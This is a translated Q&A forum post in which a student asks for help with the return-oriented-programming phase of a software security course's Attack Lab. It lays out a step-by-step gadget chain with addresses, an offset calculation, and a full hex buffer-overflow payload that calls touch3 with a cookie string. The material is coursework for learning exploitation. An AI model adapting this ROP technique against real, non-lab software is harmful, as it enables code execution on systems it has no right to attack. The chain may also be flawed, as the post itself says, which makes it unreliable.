【发布时间】:2019-02-12 10:15:02
【问题描述】:
这是我的软件安全课程中攻击实验室的第 5 阶段。由于地址随机化和不可执行堆栈,我们应该使用面向返回的编程 (ROP) 将给定 cookie 值的字符串指针作为参数传递给名为 touch3 的函数。我无法更好地描述这个问题,因为到目前为止我只能理解,完整的说明在这个 pdf 第 10 页上: Attack Lab
代码的逻辑(我可以找到其他人的答案所示)是:
填充缓冲区
将
%rsp保存到一个寄存器中(%rdi这里)将地址偏移量保存到寄存器中(此处为
%rax)将上述的总和保存到寄存器中
调用 touch3
cookie 字符串
以
\0结束
我在跟着别人做,我的代码和他们一样,但我实际上并不清楚逻辑,所以我想问几个愚蠢的问题:
为什么我们需要
%rsp和偏移地址之和?为什么先将值弹出到
%rax,然后我们将cookie字符串的地址传递给%rax?我做错了什么?
除了仔细检查所有编码和地址是否正确使用之外,我想不出解决此问题的方法。
第一步:
48 89 e0 c3 mov %rsp, %rax
在我的小工具场中,我发现:
401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax401aeb: c3
401ae6+2,反向 =>
e8 1a 40 00 00 00 00 00
第二步:
48 89 c7 c3 mov %rax, %rdi
在我的小工具农场中,我发现:
401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax401a33: c3
90 = 不,没关系
401a2d+2,反向 =>
2f 1a 40 00 00 00 00 00
第三步:
58 c3 pop %rax
在我的小工具场中,我发现:
401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)401a3a: c3
401a34+5,反向 =>
39 1a 40 00 00 00 00 00
第四步:
0x48
这个常数应该是第一行到cookie字符串行-1之间的距离,也称为地址偏移。 cookie 字符串前有 10 行。所以值为 (10-1)*8 = 72 = 0x48
第五步:
89 c2 movl %eax, %edx
在我的小工具场中,我发现:
401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)401aa8: c3
401aa2+2,反向 =>
a4 1a 40 00 00 00 00 00
第六步:
89 d1 movl %edx, %ecx
在我的小工具场中,我发现:
401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax401b00: c3
08 c9 = orb R,R = nop,没关系
401afa+2 反向 =>
fc 1a 40 00 00 00 00 00
第七步:
89 ce movl %ecx, %esi
在我的小工具场中,我发现:
401ab0: b8 72 74 89 ce mov $0xce897472,%eax401ab5: c3
401ab0+3, 反向 =>
b3 1a 40 00 00 00 00 00
第8步:
lea (%rdi, %rsi, 1), %rax
在我的小工具场中,我发现:
401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax401a6c: c3
401a68,反向 =>
68 1a 40 00 00 00 00 00
第九步:
48 89 c7 c3 mov %rax, %rdi
在我的小工具场中,我发现:
401a48: b8 34 48 89 c7 mov $0xc7894834,%eax401a4d: c3
401a48+2 反向 =>
4a 1a 40 00 00 00 00 00
第十步:
touch3 地址 (从第 3 阶段确认正确) 8a 19 40 00 00 00 00 00
步骤11:
cookie 的字符串表示 (从第 3 阶段确认正确)
33 65 35 32 64 66 66 35 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* buffer */
e8 1a 40 00 00 00 00 00 /* step1: mov %rsp, %rax */
2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
39 1a 40 00 00 00 00 00 /* step3: pop %rax */
48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */
8a 19 40 00 00 00 00 00 /* step10: touch3 address */
33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
00 00 00 00 00 00 00 00
【问题讨论】:
-
我们不知道您尝试攻击的第 5 阶段,因此无法评论您的解决方案。使用调试器单步执行,看看发生了什么。编辑:您的第 2 步说“将 %rsp 保存到寄存器中(此处为 %rdi)”,但您的代码保存的是 rax 而不是 rsp。